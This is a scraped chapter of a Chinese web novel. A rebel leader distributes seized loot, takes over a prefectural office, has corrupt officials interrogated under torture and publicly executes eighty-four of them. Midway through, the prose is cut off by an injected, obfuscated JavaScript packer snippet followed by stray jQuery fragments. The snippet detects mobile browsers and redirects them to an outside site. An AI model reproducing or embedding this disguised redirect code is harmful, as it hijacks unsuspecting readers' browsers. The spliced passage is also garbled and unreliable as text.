220.第 220 章

作品:《逃荒就逃荒,最后逃成了皇帝?

    李沐奕平静地看着大家,见每个人都是义愤填膺,看着地下的东西说:“一人挑一件喜欢的。”


    暂时没人敢动。


    陆安看了四周一眼,随手想拿脚底下的木簪。


    看着不敢动的人,她沉稳一笑:“愣着干嘛,我说的是所有人,你们都是村里人,是我最亲近的人,跟着我出来打天下,自然不该亏待你们。”


    “老百姓你们万不能动,而我需要钱和粮养兵、养百姓、养城,所以这些都要入公库,在入库之前,你们可以挑一件,最近只有这个机会,错过不知道下次是什么时候,提示一下,拣最值钱的拿。”


    说完后,她自己挑了一锭五十两的金子,在手里掂着玩。


    陆安收回了自己的手。


    石敢当“嘿嘿”一笑,奔着一尺高的羊脂玉美人雕而去,连着底座端起来,宝贝似的抱在怀里。


    这个羊脂玉美人雕摆件,是在冯令啸卧房找到的,显然他极其喜爱,玉雕被盘的温润而有光泽。


    众人没眼看他那个痴汉样。


    见他真的拿了一看就特别值钱的东西,而李沐奕笑着没反对,大家也不再犹豫,开始挑起来。


    陆安想到以后要娶妻生子,到首饰堆里,拿起一个盒子,打开是一套金镶玉头面,他想拿一支头钗,李沐奕把匣子扣上塞他怀里。


    陆安傻傻一笑:“谢谢姨母。”


    赵文实拿起一匣子徽墨,李沐奕看着他:“都拿走。”


    “是。”赵文实美滋滋把一匣子墨揣怀里。


    李恒昭他们各自挑了自己喜欢的东西,大家挑的几乎都是金银玉器,毕竟这东西最值钱。


    “后院可有马车?”她问。


    “有,冯令啸带走那么多马车,后院居然还有三驾马车,五辆板车。”石敢当一脸无语。


    李沐奕看向一堆被褥:“正好,速度把这些东西装车,用被褥盖好拉到州衙附近,若是快,明天我们就能往回赶。”


    装好车后,大家往州衙去。


    “主公,你们来了。”徐豹抱拳,指着衙门,“他们闭门不出。”


    “好,让他们继续在外面围着,把冯令啸和他管家从马车里带出来。”她冷声说。


    石敢当和陆安上了马车,把半死不活的冯令啸和吓破胆的管家从马车上拖下来。


    她对着门厉声说:“冯令啸无恶不作、罪无可恕,已被我们擒住,你们若是开门,以前该如何还是如何。”


    “若是等我们破门,里面所有人与冯令啸同罪,杀无赦,我给你们六十个数,六十个数之后不开门,我便破门,恒昭,数。”


    “1,2,3……”李恒昭开始数。


    “同知大人、二老爷,你别晕啊,这如何是好啊,如何是好啊。”通判欲哭无泪。


    “你问我,我能如何是好。”同知满头大汗,晃晃头扶着身边衙役站稳。


    “同知啊,五十了,开门吧,开门吧,开门我们还有活路,那狗东西已经不行了,我们何必抵抗。”另一个通判擦擦额角的汗,站在大门后呼呼喘气。


    同知来回转圈,最终在五十八的时候,他大喊:“开门,快开门。”


    衙役一听,赶紧把大门打开。


    李沐奕带着人走进州衙。


    衙门里的人缩在一个角落里,看他们气势汹汹进了门。


    “大大大大猫。”


    “那是熊熊熊?”


    “居然还有狼?”


    刚刚还站着的人坐到地上,抱在一起瑟瑟发抖。


    “同知过来。”


    李沐奕进了衙门正殿,坐在上首。


    赵文实目光定在同知身上,示意他过来。


    同知看见他大惊,满脸都是你居然跟着造反的不可思议。


    “过来啊。”赵文实在门口看着他,没空理会他的震惊,见他还在耽误时间,直接催促。


    同知松开身边的衙役,两条腿不太听使唤的走进大堂,“扑通”一声跪在地上。


    “起来,这衙门里有没有冯令啸的人?”她问。


    同知揉着膝盖站起来,看了半死不活的冯令啸一眼,大着胆子点头。


    “都在哪?可在刚刚那些人里?”她继续追问。


    同知看他们不像滥杀无辜之人,又愤愤看了冯令啸一眼:“不在我们这些人里,他们平日住在衙门后宅,本就不爱来前边,今日遇到这等事,他们在后宅伺机逃走,现在衙门后院都是他们的人。”


    “行,你找个人,带着我们的人,把跟冯令啸有关的人都抓了,一个也不得放过,速度快点。”李沐奕扫视一圈。


    被看到的人领命去抓人。


    “小黑你们去护着咱们的人,注意自己的安全。”她在心里说。


    “赵大哥做主审,陆安、石敢当你们负责用刑,恒昭你们九个从旁边学着,用最快的速度,把我们刚才从冯令啸家中绑过来的人,以及之后抓的那些人,姓甚名谁做过何恶事,全部写下来,该下狱的放一起,该杀头的放一起。”


    大家各自忙活各自的。


    李沐奕看向呆愣在一旁的同知:“你也别愣着,带着衙门一众人过去看着,有谁说谎指出来,有何没说的补充说明。”


    一个时辰后,赵文实拿着一摞纸,带着大家进了正殿。


    靠在椅子上的李沐奕睁眼。


    见回来的人全部义愤填膺,她接过纸看了起来。


    就算做好了准备,真正看到这帮人到底做了什么,也被激起了怒气。


    “就连府里小妾,原先是清白人家的好女子,进了府之后,都学会了打杀仆人与勾心斗角,纵容亲戚出去圈地,替兄长、弟弟强抢民女,杀人全家这事都办的出,不愧是近墨者黑。”


    “我本以为那么大的府邸,那么多人,再加上衙门这些,多少能找出几个无辜的,没想到每个身上都有人命。”


    这里边还有一个熟人,宋德阳,初到绵州城外负责登记的文书,曾说过李沐奕是猪,也是方大中的外甥。


    之前只是一个不起眼的文书,冯令啸来了后,他像苍蝇闻到了臭蛋,马上投靠过去,做了狗腿子,跟着做了许多恶事。


    同知跟着赵文实他们一起办了审讯的事,多少了解了他们的行事作风,既然已经逃不掉,比起冯令啸那个烂人,当然是选择加入,他跪在地上大哭:“主公,他们欺人太甚,他们不是人。”


    李沐奕知道这个同知,当时逃荒到此,安顿、选地的就是他,对人倒是和颜悦色,办事也没收银子,来之前她也问了赵文实,原来的知州有些小贪,但是个办实事的,收拢流民做了好几年,上行下效,手底下大多是些能干之人。


    如今缺人,暂时先用着他们。


    目光从同知和州衙这些人身上挪开,她把纸拍在桌案上,桌案四分五裂,纸张丝毫无损


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301837|191002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “所有人引以为戒,若是以后富贵了、发达了敢做这种事,我亲自砍了他,派衙役敲锣,让城中百姓能到的都到刑场。”


    州衙里的人看着桌子“嘶了”一声。


    而李沐奕带来的人拱手应是。


    同知擦擦额头的汗珠子,赶紧吩咐衙役行动,小跑着带他们往行刑的地方走。


    李沐奕坐在行刑台旁的桌案后,来的人越来越多。


    “呦,老虎、狼,哎呦我的天爷。”


    “没事没事,你没看他们都乖乖坐在那个娘子身边。”


    “这是怎地了呦?”


    “不晓得噻,上边跪的是新来的知州?”


    “就是那个鬼东西,化成灰我都认得。”


    “对,就是他,他征人去修水道,只为自己玩乐,我爹和我夫君死了,呜呜呜。”


    “他还加税、强抢民女、抢商户方子和铺子,呸,该死的东西,真是活该。”


    徐豹带着兵维持秩序,李沐奕看人挤人,来的差不多,把手里一沓子纸递给旁边的赵文实。


    “按照人名,一个个念出他们的罪行,台上的,念到名字的时候让他们站起来,好好给老百姓看看这些鱼肉乡里,作恶多端的畜生。”


    赵文实每念一个人的人名,台上押着人的兵会找到这个人,抓起这人绕着台子转一圈。


    赵文实念的口干舌燥,李恒昭看了李沐奕一眼。


    她点头后,李恒昭接过纸接着念。


    台下围观的百姓中,几乎全是苦主,大家又是气愤、又是悲伤、又带着解气,随着每个人的罪行被揭开,大家从气愤到咬牙切齿,恨意直冲天灵盖。


    “畜生啊,畜生啊。”


    “啊,我要杀了他们,他们买了我妹妹做丫头,就因为那个该死的畜生多看了她一眼,最后他的小妾把她杀了,啊啊啊。”


    “他们不是人,简直不是人,杀了他们。”


    “杀了他们。”


    “杀了他们。”


    大家的声音最后变成整齐的“杀了他们”。


    李沐奕拍惊堂木,大家听到声响清醒过来,可脸上还是气愤。


    冯令啸面无血色,被废了子孙根,又没了半条胳膊,像滩烂泥一样倒在地上。


    他睁着眼看着自己之前能随意打杀的贱民,哼笑出声:“你们都是贱种,给我提鞋都不配的贱种,哈哈哈哈,老子如何说也风光富贵过,你们这辈子只能过这种畜生日子,哈哈哈哈哈。”


    “让你笑,我让你笑。”


    不知道是谁捡了地上的石头砸他,大家纷纷捡起脚边的土和石头,往台子上砸去,砸的士兵跑到了台下。


    眼见如此,王长河大力敲了几下锣,把大家的理智拉回来。


    “行了,动手吧。”


    随着她话音落下的,是一批批被拉上行刑台,八十四颗头颅。


    “好。”


    “好,杀的好,他们该死。”


    “太好了,老天有眼。”


    ……


    “我,李沐奕,率兵起义,绵州如今已是我的治下,我绝不允许此等鱼肉百姓、为祸乡里的恶人存在。”


    “我会努力带着大家过上好日子,从今天起赵文实为新任知州,州城以前如何还如何,不用惊惶害怕,新的政策,稍后会由州衙贴出,就这样吧。”


    说完后,她带人回了衙门。